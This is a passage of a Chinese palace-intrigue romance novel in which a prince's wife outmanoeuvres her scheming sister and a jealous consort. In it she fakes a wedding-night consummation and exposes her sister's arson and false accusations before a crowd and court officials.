崔锦也没有久留的意思,略坐了坐便准备离开。 “王爷昨夜宿在正院,王妃很高兴吧?”林昭忽地道。 “近日妾身身体不适,王爷心疼我,只能叫王妃伺候了,虽不会与你圆房,但对你这等深闺寂寞的女子来说,应当算得天大的恩赐了。” 她看向崔锦,眼底冰冷与敌意一闪而过:“王妃好好珍惜这段时光吧,毕竟等我伤愈,王爷眼中便没有你的存在了。” 崔锦笑容不变:“那便祝侧妃早日痊愈了。” 林昭脸色阴沉下来。 一拳打在棉花上的滋味并不好受。 崔锦已经离开,脸上笑意盎然。 人越缺什么,就越要强调什么。 想来是昨夜刺激到了林昭,叫她心中有了危机感,这才不顾邱华在场也要宣誓主权。 林昭已经乱了。 她的下一步棋也该出了。 …… 萧临回府后便知道了邱华的存在。 但淑妃派下,又只是来住几日,他自不能拒绝。 直到晚间,邱华亲自为他们铺好床,恭敬一礼:“奴婢就在外头伺候,王爷王妃若有差遣,尽可唤奴婢。” 说完便退下了。 话没说几句,言下之意……或者说淑妃之意已经很明显。 萧临眉头紧皱,脸色难看。 任谁被如此逼迫都不会有多愉快。 但他余光扫过崔锦,却见她苦着脸坐在床上,看着白布愁得快哭出来了。 他声音沉下:“你就这般不愿?” 崔锦懵了一瞬,声音却哽咽更甚:“妾身……不愿王爷受如此委屈,更不想您后悔啊……” 她转过身,擦了擦眼角。 萧临心中的郁气瞬间消了。 他语气温和许多:“罢了,母妃也是太着急了,今夜……” “今夜妾身会帮王爷骗过邱嬷嬷的。”崔锦小声打断他的话。 随后她便紧皱眉头,闭着眼咬破手指。 几滴血落在了白布上,瞬间晕染开来。 萧临下意识握住她的手,眉头微拧。 但看着崔锦满是情意的双眼,他也说不出重话:“想要血,本王来就是,用得着你?” 崔锦闷不吭声。 萧临低下头——崔锦手指嫩长白皙,咬破的伤口便被衬得格外显眼,有些惨巴巴的。 他未及思索便将她手指含入口中,给她止血。 崔锦面露诧异,脸颊却染上薄红。 烛火摇曳不知几瞬后,床幔缓缓落下。 萧临握紧她的手,声音微哑:“邱嬷嬷还在外头,得弄出动静来……” 崔锦声若蚊蝇地应了声。 昏暗的烛光透进床幔,映得她色如春华。 萧临呼吸微沉,不假思索地覆上她的唇…… 第十八章 叫王爷看清崔锦水性杨花的真面目 正院的烛火亮了大半宿。 直到天光大亮,邱华才进去伺候。 床榻上那染血的白布格外醒目,她心下满意,又有些犹疑。 萧临从前为林昭拒绝了数个淑妃赐下的宫女,从不与旁的女子亲近,今日乍然圆房,总叫她心中不大相信。 她垂下眸,恭敬行礼:“恭喜王爷王妃大喜。” 她话落,房中侍女们也跟着道喜。 崔锦脸颊绯红,几乎将脸埋进被子里。 萧临倒是神色自若地下床穿衣。 崔锦不自在地抓了抓被子,才慢吞吞起身,动作间衣襟滑落,露出雪白的右肩,还有从脖颈蔓延至肩上的点点红痕。 邱华眸光微动,看着崔锦双腿发软地被扶去妆台前。 她眼光老辣,自看出崔锦身上那大片红痕用了多大劲儿,连耳后都有深痕,可以想见萧临究竟有多难以自控。 至此,她心中的疑虑才消散了,亲自为崔锦挽发。 看着镜中明艳照人的昳丽面孔,邱华轻笑了笑。 这般人间绝色,也难怪从不为美色所迷的萧临也把持不住了。 今日起晚了些,萧临急着上朝,只能在马车上用早膳,临走前,他转身抚了抚崔锦的鬓发。 看着她脖间连脂粉都掩不住的痕迹,他喉头微不可查地滚动了一下:“昨夜累着你了,今日好生歇息。” 崔锦红着脸瞪他一眼,却像带着钩子似的。 萧临心中微动,轻笑了笑,心情不错地出门了。 邱华这才笑道:“奴婢去给王妃熬补身汤。” “有劳邱嬷嬷。” 邱华走后,崔锦才松懈下来,脚步虚浮地搭着如春的手坐去软榻。 如春犹疑不定:“您与王爷真圆房了?” 崔锦摇了摇头,脑中下意识想起昨夜。 她以为的动静是摇摇床,哼几声便行了,未想萧临倒是做得彻底,抱着她啃了好久,动作间也有试探之意……她被勾得差点就忍不住松口了。 可即便没动真格,摇了半晚上,也累得她够呛。 如春觑了眼她脖颈间的痕迹,小声道:“这还没圆房呢,他下嘴就这么重……真等圆房,您可要受罪了。” “但他对王妃转变如此之大,倒是件好事。”如秋扬眉,“新婚之夜说得那么难听,现在还不是自己打脸了?” 这话逗得如春直笑。 崔锦却含笑摇头:“他对我态度转变,不过是因为林昭令他失望失意,而我深情不改,正能满足他作为男人的虚荣心罢了。” 这两夜萧临似有圆房之意,更多的是情场朝堂双失意之下的一时冲动与发泄。 若她就这么点了头,来日他反应过来,只会后悔失信于林昭。 她可不给自己挖坑。 想罢,她拿起手边木鱼,闭眼敲了起来。 没多久,邱华端着坐胎药进门:“王妃,药好了,您趁热喝。” “好。”崔锦接过药碗。 邱华看着被她随手放在一边的木鱼,欲言又止。 敲木鱼礼佛需要敬意与诚心,她还没见过随意躺在软榻上,有一下没一下闭眼敲木鱼的。 …… 珠玉院。 “啪——” 一道瓷器碎裂声响起。 林昭脸色煞白,指甲深深掐入掌心:“王爷当真与她圆房了?” 秋纹低着头,小心道:“正院里我们的人看得千真万确,昨夜折腾了半宿,那贱人一身痕迹……” 她紧张地看向林昭:“淑妃见不得您好,明知王爷不愿圆房,说不得便叫正院那贱人使了下作手段,下药勾引,王爷怎能提防得住?” “对……”林昭咬紧牙关,“王爷答应过我的,一定是崔锦勾引他!” 她不断安慰着自己,心里却慌得厉害。 自那日萧临离开后,再没来看过她。 往常她旧伤复发,他是最紧张的那个,即使新婚之夜都能扔下崔锦来看她。 现在萧临迥异的态度终于叫她感受到了前所未有的危机感。 她顾不得背上的疼,忙抓住秋纹吩咐:“快,将珠玉院上下都清查一遍,侵占良田的、欺压百姓的,还有强抢珍宝的都通通给我找出来打死!” 秋纹愣了一下:“侧妃您怎知有人强抢珍宝?” 她们奴婢几人都知道林昭性情磊落,可她作为侧妃,有些规制之外的东西不能用就是不能用,出门在外难免低人一等。 所以她们便在民间搜寻珍宝首饰,外加敛财,给林昭撑场面,有信王府的名头在,谁也奈何不了她们。 但她们一直都告诉林昭这是下头的孝敬,林昭怎会知道是她们仗势抢来的? “……从秋茗出事后,我便有意清查了。”林昭脸色微冷,“你还不快去?!” 秋纹回过神,忙点头退下。 她心中虽也慌乱,但不似林昭那般患得患失。 不过一个爬床的贱人罢了,以前又不是没有过这种不知廉耻的贱婢,不都被她们瞒着林昭解决干净了? 她吩咐手底下最伶俐的怜青清查后,便转身回房。 “侧妃,我们不能坐以待毙了。”她皱眉道,“正院那个贱人有些手段,又有强大的家族撑腰……” “那又如何?”林昭脸色直冷,“我与那群靠家族的蛀虫不同,我靠的是自己!” “您说的对,若将她们扔去战场上,别说像您一样智计百出的退敌,怕早就吓得屁滚尿流,当逃兵也当不利索了!” 秋纹宽慰完,又道:“只是您父兄才来京城两年,根基未稳,我们也该顾忌着他们。” 林昭紧紧攥了被褥半晌,才道:“你有什么主意?” 顿了顿,她补充:“那些阴损勾当我不做!” “您放心。”秋纹笑了笑,压低声音,“我们可以找找那位崔大姑娘……她在外常诉苦,奴婢觉得崔锦蓄意换嫁一事怕是真的,若能叫崔大姑娘出面作证,届时崔锦必成笑柄!” “她还与宋举人定过亲……谁知道他们私底下做过什么呢,只要我们找出她与沈举人私相授受的的证据,她连王妃的身份都保不住!” 林昭眼神微动。 萧临被迫去正院,甚至圆房,都是因为崔锦是崔家女,怠慢不得。 可若她水性杨花,还没了崔家支持呢? 她手下微紧,冷声道:“能使出如此下作手段,只为插足我与王爷,还害得我们夫妻离心,我便叫王爷看清她水性杨花的真面目!” 萧临最厌恶后宅女勾心斗角,也最不喜心机深沉之人! 第十九章 沈夫人在王府外哭诉 连着好几日,萧临都宿在正院。 邱华在确认他们圆房后,又盯着林昭清理完珠玉院便回宫复命去了。 因为有她在,林昭想遮掩都没办法,她手底下的人曾做过什么事,都被摆去了萧临案头。 看着一桩桩强抢珍宝、侵占良田,甚至谋财害命的案子,萧临脸色阴沉至极。 他从未想过在自己手底下竟能出如此败类。 还是在林昭的纵容下。 “暗一。”他唤道,“你亲自再去查一遍,若案件属实……就地正法。” “是。” 暗处一道身影消失。 书房沉默良久后,萧临声音疲惫:“在战场时,林昭睿智多计,坦荡大义,为何……仅仅两年,她就变成了自己最痛恨的那种人,连手底下的人都放纵至此?” 庆喜给他斟了盏茶,小心翼翼道:“奴才说句不中听的话,侧妃总说后宅女眼界狭隘,最喜勾心斗角,可她自己何尝不是久居后宅?若因此磨没了眼界,眼中只剩宠爱,因此做事没了分寸,也是常理。” 萧临沉默良久。 “她总说向往战场与自由……难道真是本王困住了她?” “哎呦!”庆喜忙道,“这关王爷何事?当初是她自己跟去战场,又跟回京城,您劝过她京城难居,是她自己执意跟随您啊!这人……总要为自己做出的选择负责到底才是。” 见萧临沉默,庆喜忙转移话题:“而且她再不甘心,也不该向王妃下手啊。” 萧临看他一眼。 庆喜微微低头:“圣旨是皇上下的,王妃是您娶的,侧妃心中有怨,不敢对皇上和您发,就冲着无辜的王妃使,这、这不是欺软怕硬么?” “偏您还……”庆喜小声嘀咕,“您还只偏心侧妃,答应她不宠幸王妃,不踏足正院……王妃打从进门,什么都没吃,就吃亏了。” 见萧临沉沉瞪了他一眼,他忙低下头不说话了。 他看得清楚,王妃深情又懂事,背后还有强大的靠山,可比只会闯祸的侧妃强多了。 便是为了王爷,他也得多向着王妃几分。 而萧临无意识摩挲着手指。 他从未站在崔锦的立场想过。 可一旦深想,才知她咽下多少委屈。 正如庆喜所说……她受的是无妄之灾。 晚间,林昭派人来请,萧临沉默良久,还是去了。 到底曾并肩作战五年,心意相通,他不愿对林昭太过冷情。 这回林昭也难得放下身段,哭着陈述自己御下不严,已配合邱华深查,将犯罪者绳之以法。 她服了软,萧临便没那么气了,两人间的气氛难得恢复从前的自然融洽。 只是晚膳后,萧临却起身:“你还有伤,好生歇息吧。” 看着他的背影,林昭攥紧了棉被,脸色难看。 正院。 崔锦看着进门的萧临,目露惊讶。 “不欢迎?”萧临坐去桌前。 “不……”崔锦忙给他倒茶,“王爷愿来,妾身高兴都来不及。” 她是真没想到萧临去了珠玉院,竟还能转来正院。 萧临也未多言,略坐了坐便沐浴上床。 崔锦悄悄看着他,片刻后,忽然将额头抵在他肩前,随后唇边泛起满足的笑意。 萧临肩侧传来一阵痒意。 他抬手抱住崔锦,稍一低头,两人便咫尺之隔,呼吸可闻。 自被邱华盯着那夜后,他们虽同塌而眠,却再未如此亲近过。 萧临眼眸微动,蓦地覆上她的唇。 崔锦怔了一下,很快便失了神般任他施为。 翌日又起晚了。 萧临去上朝,崔锦坐在妆台前,懒洋洋梳妆。 如春默不作声地用胭脂为她遮住颈间的痕迹,心思跑远了不少。 都不受控成这样了……王爷竟还能忍住。 信王府多年无所出,不会是王爷不行吧? 正在崔锦用早膳时,如秋进来道:“王妃,昨夜沈府被人放火,方芸烧伤,沈家姑娘也受了惊。” “纵火之人抓住了?”崔锦问。 如秋一笑:“您叮嘱过夫人,她一直派人盯着沈府呢,昨夜她的人就抓住了纵火之人,故而派人来问您,是否要将其扭送官府?” “对了,还有大姑娘……前几日她忽然出门,不知去见了谁,那人扫尾干净,夫人暂时没查到。” 崔锦若有所思:“怕是冲着我来的。” 如秋眉头微皱,心下有些担心。 “王妃,不好了!”一个婢女匆匆进门,“沈夫人正在王府外哭诉,说……她不计较您曾抢她姻缘一事,只求您放过她。” “侧妃派侍卫去赶人,未想伤了沈夫人,现在……现在外头都在说王妃您做贼心虚,要杀人灭口!” 崔锦了然,对如秋道:“告诉母亲,扭送官府吧。” 换嫁的黑锅,她也该背到头了。 临出门前,她低声吩咐如春:“告诉方芸,毁掉崔儒月的机会来了,她知道该怎么做。” 如春当即点头,悄悄离开。 崔锦走到门外时,正见崔儒月左臂染血,哭得伤心,沈家小妹陪在她身边,一旁还围着不少人。 能路过王府的不是官宦人家,就是他们府里的管事下人,故而言行也更大胆些。 崔锦一出现,沈之盈便厌恶地看向她:“崔锦,你还有脸出来!” 崔锦没说话,如夏上前就给了沈之盈一个耳光。 “你是何人,竟敢直呼王妃名讳?” 沈之盈捂着脸,眼神愤恨。 崔儒月忙将她护在身后,哭道:“妹妹,求你放过我吧……我已经将信王让给你了,你为何还要拉着沈郎不放,只因我意外撞见你回门日勾引沈郎,你便要杀我灭口么!” 她左臂还流着血,瞧着触目惊心,梨花带雨的模样更引得不少人同情怜惜。 “信王妃真是这种人?” “之前不是有传闻吗,她就是不满嫁个贫寒举子才换嫁的,没想到她又回头去勾引举子……这是两边都想要啊。” 周围议论纷纷,沈之盈眼中闪过得意,接着道:“昨夜你放火烧我们家,却没想到我大嫂替我二嫂受了过吧?否则今日她哪还有命来指证你!” 崔锦没理她,只吩咐道:“快请府医来。” “不用你假好心!”崔儒月哭得上气不接下气,“众目睽睽下你都敢叫侍卫杀我灭口,你的府医我敢用么?我今日来,只求你放过我,放过沈郎吧!” 崔锦脸色平静:“谁伤的人?扭送顺天府,依法处置,我信王府不养残害他人的侍卫!” 旁边一个侍卫脸色骤变。 以大周律法,无故伤人者,仗二十,崔儒月是举人夫人,他还要背上流放三千里的罪罚! “王妃饶命!”他立刻跪下,“属下都是听您命令行事,您不能卸磨杀驴啊!” 第二十章 信王妃是个无辜的倒霉蛋? 侍卫此言一出,崔儒月眼中极快地闪过得意。 众目睽睽,人证物证俱在,任崔锦有八张嘴也说不清! 她甚至期待崔锦再蠢些,说出这群侍卫是林昭派来的,如此便能再扣给她一个心胸狭隘,不容侧室的罪名! 崔锦无视周遭或微妙或打量的眼神,直直看向崔儒月。 话却是对侍卫说的:“我派你杀人灭口?”她轻笑一声,“那就上报大理寺,请他们派人拿我问罪吧。” 众人一愣。 崔锦脸色不变:“王子犯法与庶民同罪,即便我是王妃,也没有肆意指使侍卫杀人之理,如夏,去大理寺!” “是!” 不等崔儒月神色慌乱地阻拦,如夏已运起轻功,飞速离开。 “崔锦!”崔儒月声音紧张,“你做出这等不要脸的事,还敢叫大理寺插手?还不快叫她回来?只要你向我磕头认罪,承诺再不纠缠沈郎,我、看在姐妹一场的份上,我可以原谅你!” “杀人偿命、与有妇之夫私相授受,岂能因骨肉亲情就网开一面?”崔锦唇角微勾,“长姐放心,待大理寺查明真相,必还你一个公道!” 崔锦掷地有声,毫不推诿,反叫围观众人反而犹疑不定起来。 “哪有人做了亏心事这么理直气壮的,还敢叫大理寺?” “大理寺卿可是晋王党,信王妃若真有问题,敢自投罗网?” “你们瞧,这沈夫人脸色怎么发白了……” 众人闻声看去,崔儒月脸色惨白,摇摇欲坠。 火是她自己放的,私相授受的那点证据……只要大理寺查,就能查个清楚,还有被指使“杀人灭口”的这个侍卫…… 崔锦何时变得如此难缠?! 崔儒月强撑着,继续哭:“妹妹,有什么事我们关起门来商量不好吗?为何要闹得对薄公堂……我们是至亲啊……” 这话路人都听笑了:“不是沈夫人你先闹来我们跟前的么?” “是啊,还不让我们走,生怕大家伙儿不知道信王妃水性杨花,杀人灭口呢。” 眼明心亮的人不少,此时看到崔儒月的反应,心里多少明白过来,说话便也更不客气了。 崔儒月咬紧牙关,拿出崔锦“送给”沈之珩的书信,还有香囊,咬死了崔锦纠缠沈之珩不放。 连沈之盈都作证:“崔锦整日缠着我二哥不放,明知我二哥喜欢我二嫂,却还是以势压人,非与我二哥定亲,后来她见不得我二嫂有了信王这门好婚事,又算计换亲……” 说到这里,她眼睛也红了:“可即便如此,她还勾引痴缠,想要我二哥为她所用,除掉林侧妃,叫她爬床得宠!” 崔锦的“亲笔书信”中,的确有除掉林昭的字眼。 有些不明是非的路人看向崔锦时十分鄙夷。 崔儒月眼神微闪,低头抹泪。 就算有大理寺查案,她也未必会输! 今日她一定要让崔锦身败名裂,滚出信王府! 她正要再添一把火,却忽听一阵急促的脚步声越来越近。 刚转过头,一队顺天府衙役便围住了她。 为首一人道:“沈夫人,昨夜沈宅大火,纵火之人指认是受你指使,请与我们走一趟吧。” 本还嘈杂的门外瞬间安静下来。 崔儒月脸色变了:“你胡说什么!我岂会放火烧自己家?你收了谁的好处,敢来污蔑我?” 衙役面露鄙夷:“纵火之人是你陪嫁庄子上的下人,卖身契都在你手中,他还能受旁人指使来冤枉你?你给的封口费还在他家树底下埋着呢!” 他说完,不止崔儒月脸色惨白,崔锦也面露诧异。 她没想到崔儒月竟能蠢到用自己的人纵火,还留下如此明显的把柄。 林昭一桩好谋算,败在了猪队友上。 崔儒月还在狡辩,一个衙役却忽地扶了一脸虚弱的方芸过来。 后者满眼是泪:“我知弟妹你不喜二弟孝顺我,可我万万没想到,你竟想烧死我……还要嫁祸给信王妃……” 她看着眼神怨毒的崔儒月,哭得伤心:“事已至此,我也不愿再为你遮掩丑事!” 崔儒月想到什么,脸色微变。 但还未等她阻止,方芸便已开口:“婚前与二弟私相授受的分明是你!那时二弟已与信王妃定亲,你们瞒着她私下往来,筹谋换亲也就罢了,事后竟将一切推去信王妃身上!今日竟还想要烧死我,嫁祸信王妃,一箭双雕……弟妹,你好狠的心啊!” 方芸话没说完,周围便一片哗然。 换亲一事,纵然坊间热议许久,却从未往崔儒月身上猜过。 在大家眼中,她是最大的受害者。 可现在却说这个受害者才是始作俑者? 崔儒月声音近乎尖利:“贱人!你胡说什么!敢坏我名声,我今天撕了你!” 她向来最重脸面,周围微妙的眼神就像凌迟一样刮在她身上,叫她近乎失智。 方芸吓得瑟瑟发抖。 见崔儒月被衙役制住,她哭着拿出数封信件和一块玉佩。 “你们来往已有半年,信件都被二弟收在书房,你送他的玉佩更被他视若珍宝,日日摩挲……” 有看热闹的路人直接拆信,比对了一番—— “他们见面的日子都是茶楼戏楼郊外,稍一查探就知真假,沈家大嫂没必要撒谎。” “玉佩也是真的,我随我家公子出门时见沈举人戴过,这玉佩来源于谁,一查便知!” 随着众人你一句我一句的佐证,他们脸色也渐渐复杂起来。 若这是真相,那信王妃岂非是个无辜的倒霉蛋? 未婚时被未婚夫和姐姐背叛,成婚时被蒙在鼓里换亲,还被扣上心机叵测的名声,直到婚后……崔儒月竟还没放过她,自己放火碰瓷,只为栽赃信王妃? 这得多大仇啊。 有人嘀咕:“谁知道她是不是穷日子过的受不了,又眼馋人家的王妃身份,嫉妒陷害呢?” 肯定这个猜测的人越来越多,崔儒月脸色也渐渐灰败。 “不……不是,都是这两个贱人陷害我!”她指着崔锦,尖声开口,“明明最先提出换亲的是你!是你抢了我的姻缘,抢了我的风光和身份!” “沈夫人此言差矣,若嫁入信王府的是你,本王宁可抗旨休妻。” 萧临话音落下,马车也随之停在府门前。 第二十一章 水性杨花的其实是崔儒月? 见萧临下了马车,众人慌忙行礼。 萧临淡淡叫起,神色冷峻地走去崔锦身边:“本王听闻有人闹事,污蔑王妃?” 崔锦看到他时眼睛都亮了起来,温声回道:“一些小事,不要紧的。” “你的事怎会是小事?” 萧临握住她的手,神色与声音都是温柔。 崔儒月红着眼看他们,嫉妒陡然升起,刺激得她口不择言:“王爷,您别被这个贱人骗了!她心机深沉,朝三暮四,根本不配您如此厚待啊!” “那谁配?你么?” 萧临转头看向她,眼神极冷:“沈夫人,早在回门当日你说爱慕本王时,本王便说得很清楚——整个信王府都很庆幸嫁来王府的是王妃,而非你。” 崔儒月顿时像被浇了一盆冰水一样,脸色发白。 “什么?”方芸惊呼,“弟妹说回门日王妃勾引二弟,此事难道是假,反而是弟妹……竟然勾引王爷了么?” 萧临闻言,眼中寒意更甚。 庆喜忙回:“回门当日,除却王爷席间那回更衣,皆与王妃形影不离,王妃哪来的功夫与沈举人私见?倒是更衣时遇见了沈夫人,据沈夫人之言……她对王爷很是倾慕呢!” 众人倒吸一口冷气,面面相觑中满是对真相反转的震惊。 水性杨花的其实是崔儒月? 不仅婚前与准妹夫有了私情,婚后还勾引信王,又贼喊捉贼、放火栽赃? 他们看向崔儒月的眼神满是嘲讽不屑。 亏她之前还有脸在人前影射妹妹抢婚,倒打一耙到这份上也是没谁了。 崔儒月被他们的目光刺得手脚冰凉,面无血色。 本是她算好的万无一失的计划,到底哪里出了问题? 现在……现在身败名裂、水性杨花的反而成了她——有萧临亲口证实,没人会信她的。 她该怎么办? 还没等她想明白,左脸忽然传来一阵剧痛。 她愣了一下,看到面前眼神愤恨的沈之盈,才反应过来自己被扇了一记耳光。 “贱人!你骗我!”沈之盈气急败坏,“火是你放的!你烧了大嫂,还敢背叛我二哥?我今天非撕了你这张脸!” 崔儒月尖叫一声,被沈之盈打得连连躲闪。 等后者被衙役分开时,大理寺的人也到了。 萧临看到为首之人,眉头微皱。 崔锦竟还找了大理寺来……这不是将把柄给晋王手上送么? 而崔锦扫了眼地上的信件香囊,对大理寺少卿道:“这信上的字迹与我只有七分像,必是有人模仿,大人可一一比对,香囊也不是我的,瞧那料子与质地……倒像是长姐最常用的织锦缎,这料子只有云来布庄有卖,大人或可查查源头。” 听着崔锦三言两语点出破绽,崔儒月脸色阴沉得能滴出水来,小腿却止不住地发抖。 “对了,还有方才伤人之事。”崔锦道,“我从未派人驱赶沈夫人,杀人灭口更无从提起,这侍卫却口口声声说受我指使,望大人能严加审讯,还我清白。” 大理寺少卿温和拱手:“微臣定严审此案。” 话落,他带来的官吏便押着那侍卫,戴上了镣铐。 侍卫终于慌了。 他只是奉命办事,想着最多是被罚几十板子,扛过了便能得侧妃青眼,可进了大理寺……就算交代了所有事,怕也去了半条命了。 还要流放…… “王爷,属下知错!属下也是听命行事啊!”他忙求饶,“是侧妃吩咐属下重伤沈夫人的,属下只是听侧妃命令啊——” 萧临眼神微沉:“到现在还敢攀咬侧妃,如此刁奴,去大理寺闹笑话么!” 他冷眼扫过侍卫,对大理寺少卿开口:“王府私事,不便劳烦大理寺,本王自行处置。” 大理寺少卿微微挑眉:“可王妃因此事报官……” 崔锦看了萧临一眼,轻声道:“想是我误会了,劳烦大人着重查我被污蔑与沈举人私相授受一案即可。” 大理寺少卿倒是好说话,点头放人。 反正信王府的笑话已经传出去了,审不审都一样。 他带人离开后,满心不甘与惶恐的崔儒月也被顺天府带走了。 王府门前聚集的人越来越多,却碍于萧临,不敢再议论什么。 萧临带着崔锦进门,直到回了正院,他才顿住脚步,脸色不太好看地回头:“你今日莽撞了——” 话未说完,他猛然顿住,错愕地看着泪流满面的崔锦。 “对不起……”崔锦声音微哑,带着后怕与惊慌,“我、我太害怕了……我不知道该怎么办,只能请大理寺来为我证明清白,对不起……王爷,是我太冲动了……” 她眼泪断了线一样直往下掉,脸色惨白,却不敢哭出声音。 萧临眼神缓和了些,握住她手的瞬间,才察觉到她不断轻颤的冰凉指尖。 他叹了口气:“是本王考虑欠妥,你今日已经做得很好了。” 他只看到她在人前冷静,便以为她坚强勇敢,无所畏惧。 可一个十七岁的姑娘,被人指着鼻子骂水性杨花,拿着证据上门污蔑,怎会不怕呢? 崔锦能克制惊慌,有理有据地反驳并报官,已经是她能做出的最有力的反击了,哪还能顾及什么党派之争? 他不该苛求太多。 而听到他的话,崔锦才敢哭出声,伏在他怀里啜泣不止。 萧临抱着她,手掌轻抚着她脊背,轻声宽慰。 半晌后,崔锦才反应过来,忙擦了擦眼泪:“我、妾身方才失礼了……” 萧临看着她通红的眼眶,心中有些怜惜,故意指着自己被哭湿的衣襟道:“你欠本王的不止一件里衣了。” 崔锦破涕为笑,声音柔软又亲昵:“以后王爷的衣裳,妾身一力包揽都行。” “那怎好?”萧临含笑握住她的手,“本王可舍不得累到你。” 崔锦脸颊微红。 他们间有过亲密的举动,可如今日这般言语亲近乃至拉近距离,却是第一次。 她悄悄抬头看他一眼,试探着环住他的腰,见萧临没有动作,便得寸进尺的收紧手臂,紧紧抱住了他。 萧临感受着怀中的柔软身躯,唇角泛起一丝笑意。 正欲说什么,院外却忽然传来一声高喊:“王爷,不好了!侧妃得知自己被人诬陷,气得吐血了!” 第二十二章 亏欠了她 闻言,萧临下意识着急起来。 崔锦从他怀里出来,轻声道:“王爷快去看看侧妃吧。” 萧临顿了顿,对她道:“方才那侍卫之言……” “定是他误会了侧妃之意。”崔锦笑了笑,“侧妃善良大义,想来是为妾身出头,却被下头人误会了……她绝不会故意伤人。” 萧临眼中浮起歉意。 若崔锦闹着指证林昭,要他主持公道,他会怪崔锦胡闹,不识大体。 可她善解人意,提都不提处置林昭,还为后者开脱……他便总觉得亏欠了她。 “本王先去瞧瞧她,问清楚真相如何。” 崔锦点了点头,目送他离开时,忽地喊住他:“王爷。” 萧临疑惑转身。 “险些忘了件事。”崔锦袖中拿出一封信,快步走了过来。 “近来妾身与外祖父通信,外祖父提起朝中之事,妾身却不太懂,他便让妾身将此信交给王爷。” 萧临一惊。 崔锦的外祖父是清河谢氏族长,曾任帝师,是永隆帝都敬重三分的存在。 在崔锦换嫁后,他庆幸过能与谢氏搭上线。 可谢氏姿态却十分高傲,百年世家根本不屑于掺和夺嫡之争,对他只有客气却无亲近。 他心中复杂,接过谢老太爷的信,一目十行地扫过。 崔锦看着他愈发惊讶的眼神,不由问:“可是外祖父冒犯王爷了?您别生气,他老人家一向爱说教,回头我去信给他——” “该去信好生谢过外祖父!”萧临打断她的话,声音中不掩喜色,“这是引荐信,外祖父为本王引荐了李首辅!” 崔锦这回也面露诧异:“外祖父虽门生满天下,可与李首辅似乎并无往来啊。” 萧临笑了:“你常居后宅,想是不了解他们间的渊源,李首辅当年外放之地便是清河,他与外祖父因此往来颇多,算得知己好友。” 崔锦这才恍然。 “妾身竟从未听外祖父提起过。” 萧临笑而不语。 李首辅外放结束,回京便一跃成为御前红人,此后入阁拜相一路青云,若公然与谢氏来往密切,难免叫人揣测。 “那……这封信可能帮到王爷?”崔锦小心翼翼地问。 看着她期待的眼神,萧临心中有了猜测:“是你特意去求外祖父的?” 崔锦眼神微慌。 但迎着他如有实质的目光,还是小声承认:“王爷近来郁郁寡欢,妾身听说是因朝事不顺之故,心下着急,却不懂朝事,便只能求助外祖父。” 见萧临并未生气,她才继续道:“外祖父虽已致仕,好在还有几分人脉,若能帮到王爷便最好……妾身不是故意插手朝政的。” 她的解释叫萧临心中动容,又滋味难言。 只因为察觉到他郁郁寡欢,便能去信给脾气不好的谢老太爷——后者满腔文人清高气,向来不屑掺和杂事,便是对亲孙子都从未搭上人脉扶持。 想也知道崔锦能得到这封引荐信,得搭上多少心思和时间。 可给了他这般助力,她到头来最担心的竟还是怕他生气。 他不知是何心情地开口:“你近日也在风口浪尖,自己的事不予理会,反倒一心为本王奔走,傻不傻?” “只是一些流言而已,妾身不听便是了,还是王爷的事更重要!” 崔锦笑吟吟对他说完,便催道:“王爷快去看侧妃吧,她吐了血,不知情况如何,您快去瞧瞧。” 萧临轻抚了抚她鬓边发丝:“本王晚些再来看你。” 刚给了他这么大的助力,却一点都不邀功,反而催他去看林昭…… 如此不掺杂质的深情,叫他竟有些羞愧不能。 他有些狼狈地转身,快步离开。 崔锦目送他远去,眼神逐渐幽深。 如春代替她说了心里话:“原来他知道您这些日子被人骂惨了啊。” 只是不在意,所以无视罢了。 …… 萧临心情复杂地走到珠玉院外,还在想着崔锦。 但忽地听到了哭声,他心下一紧,快步进门。 里屋,林昭惨白着脸伏在床上,近乎奄奄一息。 萧临眉头紧皱,大步走去床前:“太医呢?侧妃为何忽然吐血!” 跪在地上的太医忙道:“回王爷,侧妃是骤然大惊,气急攻心所致的吐血,这……微臣也未能及时制止啊……” 萧临坐去床前,林昭虚弱地抬起手,他忙紧紧握住。 “明知我吐了血,你为何现在才来?”林昭死死盯着他。 “王妃有事——” “她有什么事,比得过我性命重要么?”林昭轻咳几声,语气难掩失望,“是了……在王爷心中,林昭大抵是个勾心斗角,恶毒善妒之人,你当然不会在意我的死活!” 萧临揉了揉眉心:“本王与王妃只是耽误了片刻,有太医在,你岂会有事?” 林昭还想说什么,却被他打断:“本王近日饱受攻讦,王妃即使骂名满身都在为本王想办法,你……不求你出谋划策,只求你别拖后腿吵闹,行不行?” 他语气难得疲惫,还有着比林昭更深的失望。 刚在早朝上被晋王党和御史台围攻,险险保住自己的人,回府又出了崔儒月闹事,后有林昭吐血……他一刻也忙不停,竟只有在崔锦那里才能得到片刻安宁与安慰。 他沉沉叹了口气。 林昭见状,脸色微白,手指攥得死紧。 崔锦一个一无是处的封建女,有个好家世竟就能叫萧临对她改观……还有崔儒月那个蠢货,竟废物至此,三言两语就被崔锦套了进去! 还连累了她! “是我误会了。”她脸上滑落两行清泪,“我以为……我以为王爷不喜欢我了……” 萧临脸色缓和了些:“怎会?你别多想。” 林昭笑了笑。 “今日的侍卫是我派去的。”她轻咳了两声,眼神执着而坦荡,“但我、我当真没有叫他杀人……” 秋纹也忙补充:“侧妃本就对王妃有愧,骤然听说她被污蔑,便叫侍卫去给沈夫人一些教训,谁知那侍卫竟误会了侧妃之意……竟敢杀人!” “消息传回后院,侧妃当即就吐了血……王爷,侧妃当真是冤枉的啊!” 萧临有片刻无言,后才问:“你当真对王妃有愧?” “自然。” 说罢,林昭似是撑不住,猛咳了好一阵,最后抬起头时,帕子上竟沾了几滴血。 萧临瞳孔骤缩,立刻道:“太医!” 太医忙为林昭诊脉,最后的结果也与先前所说并无不同。 无非是不能受刺激,还要保持心情平和。 萧临叫庆喜开库房取了许多补药,又耐心陪了林昭好一番,才为她掖了掖被子:“本王还有公务,晚些再来看你,你……好生休养,外头的事都不必管。” 他语气恢复了从前的温柔。 林昭心里松了口气,神色也柔和下来:“那当然了,半个月后是母后的生辰,我必要站在王爷身边才是!” 百官携家眷而至的场合,她绝不会叫崔锦抢了风头! 第二十三章 跟狗啃了似的 翌日,崔锦醒来后才知道了昨日的处置结果。 “那侍卫因污蔑王妃和侧妃,被当众处死了。”如春撇撇嘴,小声道,“奴婢可算明白您为什么不圆房了。” 只这段时间内,林昭就出了不少幺蛾子,还害得萧临自己失了圣心、饱受攻讦,可即便如此,他依然维护林昭。 若这时候圆了房,叫他得到的太轻易,只怕崔锦更不会被他放在心上了。 